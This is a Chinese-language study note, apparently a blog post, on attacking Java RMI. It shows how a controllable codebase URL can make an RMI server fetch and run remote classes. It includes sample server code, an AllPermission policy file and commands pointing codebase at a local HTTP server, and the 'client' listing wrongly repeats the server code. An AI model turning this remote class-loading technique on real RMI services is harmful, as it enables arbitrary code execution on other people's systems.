跳转至
#java  #java安全  #反序列化 
本文阅读量 

RMI篇2#

RMI虽然分成三个部分,但是通常我们在新建RMI Registry的时候对会直接绑定一个对象在上面,也就是说同时承担了Server和Registry的角色。

那么RMI会给我们带来什么安全问题呢?
1. 如果我们能访问RMI Registry服务,如何对其攻击?
2. 如果我们控制了目标RMI客户端中的RMI Registry的地址,能不能进行攻击?

如何攻击RMI Registry#

RMI Registry是管理远程对象的地方,可以理解为一个后台,但是我们无法直接通过客户端调用"后台"的接口,例如:

RemoteHelloWorld h = new RemoteHelloWorld(); Naming.rebind("rmi://192.168.135.142:1099/Hello", h);

也就是说客户端无法调用rebindbindunbind等方法,不只可以使用listlookup方法

RMI利用codebase执行任意代码#

RMI中涉及到一个东西: codebase
CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。 如果我们指定codebase=http://example.com/,然后加载org.vulhub.example.Example类,则 Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class,并作为 Example类的字节码。

所以如果我们能控制codebase,就可以加载恶意类了,但是这存在限制的:
- 安装并配置了SecurityManager
- Java版本低于7u21、6u45,或者设置了java.rmi.server.useCodebaseOnly=false,在此配置为true时,jvm只信任预先配置好的codebase,我们也就无法利用了

攻击代理示例#

先创建四个文件:
- Calc.java
- ICalc.java
- RMIServer.java
- client.policy

目录结构和代码如下:

package top.longlone.attackRMI;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface ICalc extends Remote {
    public Integer sum(List<Integer> numbers) throws RemoteException;
}
package top.longlone.attackRMI;  

import top.longlone.attackRMI.ICalc;  

import java.rmi.RemoteException;  
import java.rmi.server.UnicastRemoteObject;  
import java.util.List;  

public class Calc extends UnicastRemoteObject implements ICalc {  
 protected Calc() throws RemoteException {  
 }  
 @Override  
 public Integer sum(List<Integer> numbers) throws RemoteException {  
 Integer sum = 0;  
 for (Integer number : numbers) {  
 sum += number;  
 }  
 return sum;  
 }  
}
package top.longlone.attackRMI;  

import java.rmi.Naming;  
import java.rmi.registry.LocateRegistry;  

public class RMIServer {  
 private void start() throws Exception {  
 System.out.println("setup SecurityManager");  
 System.setSecurityManager(new SecurityManager());  

 Calc h = new Calc();  
 LocateRegistry.createRegistry(1099);  
 Naming.rebind("rmi://192.168.123.150:1099/Calc", h);  
 }  

 public static void main(String[] args) throws Exception {  
 new RMIServer().start();  
 }  
}
grant {  
permission java.security.AllPermission;  
};

然后执行javac *.java*对java代码进行编译

再编写RMIClient.java

package top.longlone.attackRMI;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    private void start() throws Exception {
        System.out.println("setup SecurityManager");
        System.setSecurityManager(new SecurityManager());

        Calc h = new Calc();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://192.168.123.150:1099/Calc", h);
    }

    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}

同样需要将RMIClient编译,这里有个特别注意的点是:这个Client我们需要在另一个位置运行,因为我们需要让RMI Server在本地CLASSPATH里找不到类,才会去加载codebase中的类,所以不能将RMIClient.java放在RMI Server所在的目录中。

这时我们再执行命令起一个服务器来测试Client是否去我们指定的恶意地址远程请求类,可以使用python或者php简单起个服务器即可

运行Server和Client:
D:\Coding\java\maven_study\target\classes>java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://127.0.0.1:7777/ top.longlone.RMIClient

D:\Coding\java\maven_study\src\main\java>java -Djava.rmi.server.hostname=192.168.123.150 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=top/longlone/attackRMI/client.policy top.longlone.attackRMI.RMIServer

可以看见确实请求了/top/longlone/RMIClient$1.class,那么我们只要在远程去部署一个恶意的class文件就能让他执行任意代码了

这里和pdf有些不一样的地方: pdf里抛出了一个magic value不正确的错误,但我这里抛出了一个ClassNotFound错误

回到页面顶部